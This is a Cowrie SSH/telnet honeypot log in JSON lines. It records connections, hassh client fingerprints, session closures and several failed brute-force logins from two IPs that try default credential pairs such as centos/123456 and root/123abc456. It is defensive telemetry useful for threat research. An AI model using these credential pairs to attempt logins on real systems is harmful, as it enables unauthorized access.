{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:32.886781Z","src_ip":"45.156.87.204","session":"4ed9eb3742f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56040,"dst_ip":"10.17.0.5","dst_port":23,"session":"f13253888057","protocol":"telnet","message":"New connection: 152.42.224.71:56040 (10.17.0.5:23) [session: f13253888057]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:33.047206Z"}
{"eventid":"cowrie.login.failed","username":"centos","password":"123456","message":"login attempt [centos/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:33.137309Z","src_ip":"45.156.87.204","session":"4ed9eb3742f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:34.229895Z","src_ip":"45.156.87.204","session":"4ed9eb3742f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":42720,"dst_ip":"159.203.135.109","dst_port":22,"session":"32af943ec7cd","protocol":"ssh","message":"New connection: 45.156.87.204:42720 (159.203.135.109:22) [session: 32af943ec7cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:36.407051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:36.411856Z","src_ip":"45.156.87.204","session":"32af943ec7cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:36.495097Z","src_ip":"45.156.87.204","session":"32af943ec7cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"tester","message":"login attempt [tester/tester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:36.743696Z","src_ip":"45.156.87.204","session":"32af943ec7cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:37.829921Z","src_ip":"45.156.87.204","session":"32af943ec7cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":42736,"dst_ip":"159.203.135.109","dst_port":22,"session":"9fac1b69e066","protocol":"ssh","message":"New connection: 45.156.87.204:42736 (159.203.135.109:22) [session: 9fac1b69e066]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:40.097103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:40.131119Z","src_ip":"45.156.87.204","session":"9fac1b69e066","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:40.214654Z","src_ip":"45.156.87.204","session":"9fac1b69e066","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.90374517440796,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:40.421247Z","src_ip":"152.42.224.71","session":"4542e9c6896a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user7","password":"123456","message":"login attempt [user7/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:40.533035Z","src_ip":"45.156.87.204","session":"9fac1b69e066","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:41.620327Z","src_ip":"45.156.87.204","session":"9fac1b69e066","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":44314,"dst_ip":"159.203.135.109","dst_port":22,"session":"01226f0f01e0","protocol":"ssh","message":"New connection: 45.156.87.204:44314 (159.203.135.109:22) [session: 01226f0f01e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:43.776274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:43.781302Z","src_ip":"45.156.87.204","session":"01226f0f01e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:43.881456Z","src_ip":"45.156.87.204","session":"01226f0f01e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nvidia","password":"nvidia","message":"login attempt [nvidia/nvidia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:44.131582Z","src_ip":"45.156.87.204","session":"01226f0f01e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:45.217214Z","src_ip":"45.156.87.204","session":"01226f0f01e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":23.21245551109314,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:45.246942Z","src_ip":"152.42.224.71","session":"b251926458d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":73.73440766334534,"message":"Connection lost after 73 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:46.098057Z","src_ip":"152.42.224.71","session":"67861727f759","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":44316,"dst_ip":"159.203.135.109","dst_port":22,"session":"8354f778cb46","protocol":"ssh","message":"New connection: 45.156.87.204:44316 (159.203.135.109:22) [session: 8354f778cb46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:47.412521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:47.417497Z","src_ip":"45.156.87.204","session":"8354f778cb46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:47.496503Z","src_ip":"45.156.87.204","session":"8354f778cb46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo","message":"login attempt [odoo/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:47.817022Z","src_ip":"45.156.87.204","session":"8354f778cb46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.88995099067688,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:48.722745Z","src_ip":"152.42.224.71","session":"baf2eeff8883","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57464,"dst_ip":"10.17.0.5","dst_port":23,"session":"eaa78e2457d8","protocol":"telnet","message":"New connection: 152.42.224.71:57464 (10.17.0.5:23) [session: eaa78e2457d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:48.847791Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:48.901821Z","src_ip":"45.156.87.204","session":"8354f778cb46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57478,"dst_ip":"10.17.0.5","dst_port":23,"session":"9de5750f8dd0","protocol":"telnet","message":"New connection: 152.42.224.71:57478 (10.17.0.5:23) [session: 9de5750f8dd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:49.388105Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":44332,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d2316feae25","protocol":"ssh","message":"New connection: 45.156.87.204:44332 (159.203.135.109:22) [session: 1d2316feae25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:51.176801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:51.181732Z","src_ip":"45.156.87.204","session":"1d2316feae25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:51.264118Z","src_ip":"45.156.87.204","session":"1d2316feae25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"root1","message":"login attempt [root1/root1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:51.509972Z","src_ip":"45.156.87.204","session":"1d2316feae25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:52.594990Z","src_ip":"45.156.87.204","session":"1d2316feae25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":39714,"dst_ip":"159.203.135.109","dst_port":22,"session":"a24e0e629a7a","protocol":"ssh","message":"New connection: 45.156.87.204:39714 (159.203.135.109:22) [session: a24e0e629a7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:54.769544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:54.774335Z","src_ip":"45.156.87.204","session":"a24e0e629a7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:54.864115Z","src_ip":"45.156.87.204","session":"a24e0e629a7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00131630897522,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:55.050415Z","src_ip":"152.42.224.71","session":"744d4e788cbd","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"123abc456","message":"login attempt [root/123abc456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:55.117231Z","src_ip":"45.156.87.204","session":"a24e0e629a7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:56.340528Z","src_ip":"45.156.87.204","session":"a24e0e629a7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":106.34751963615417,"message":"Connection lost after 106 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:57.229624Z","src_ip":"152.42.224.71","session":"453cda2c277f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.4975221157074,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:57.788020Z","src_ip":"152.42.224.71","session":"9942f0441f0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":39728,"dst_ip":"159.203.135.109","dst_port":22,"session":"7659eec2de12","protocol":"ssh","message":"New connection: 45.156.87.204:39728 (159.203.135.109:22) [session: 7659eec2de12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:58.395513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:58.400766Z","src_ip":"45.156.87.204","session":"7659eec2de12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 